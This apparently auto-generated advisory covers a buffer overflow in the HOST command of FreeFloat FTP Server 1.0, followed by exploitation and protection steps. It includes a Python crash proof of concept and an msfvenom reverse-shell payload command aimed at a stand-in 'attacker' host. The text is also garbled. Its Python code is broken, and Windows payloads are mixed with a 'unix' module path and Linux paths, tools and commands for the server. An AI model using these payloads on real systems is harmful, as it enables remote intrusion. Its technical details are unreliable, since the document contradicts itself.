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How CVE-2025-5593 Works
The vulnerability in FreeFloat FTP Server 1.0 occurs in the HOST command handler due to improper bounds checking. When a maliciously crafted HOST command with excessive data is sent, it triggers a buffer overflow, overwriting adjacent memory. This allows remote attackers to execute arbitrary code or crash the service. The flaw stems from the server failing to validate input length before copying it into a fixed-size buffer. Attackers exploit this by sending a payload exceeding the buffer capacity, leading to EIP control and potential RCE.
DailyCVE Form
Platform: FreeFloat FTP Server
Version: 1.0
Vulnerability: Buffer Overflow
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation
1. Crash PoC:
import socket target = "192.168.1.100" payload = "HOST " + "A" 5000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, 21)) s.send(payload.encode())
2. Metasploit Module:
exploit/unix/ftp/freefloat_host_overflow
3. Shellcode Injection:
msfvenom -p windows/shell_reverse_tcp LHOST=attacker LPORT=4444 -f python
Protection
1. Mitigation:
iptables -A INPUT -p tcp --dport 21 -j DROP
2. Detection:
grep "HOST.[A-Za-z0-9]{1000,}" /var/log/ftp.log
3. Temporary Fix:
Disable anonymous FTP access in `freefloat.ini`:
AnonymousAccess=0
4. Debugging:
gdb -q /usr/bin/freefloat_ftp run
5. Patch Check:
strings freefloat_ftp | grep "1.0.1"
6. Network Monitoring:
tcpdump -i eth0 'port 21 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x484f5354)'
7. Stack Canary Check:
checksec --file=/usr/bin/freefloat_ftp
8. Crash Analysis:
dmesg | tail -n 20
9. Memory Dump:
gcore -o ftp_dump <PID>
10. Exploit Blocking:
snort -q -A console -c /etc/snort/snort.conf -l /var/log/snort
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
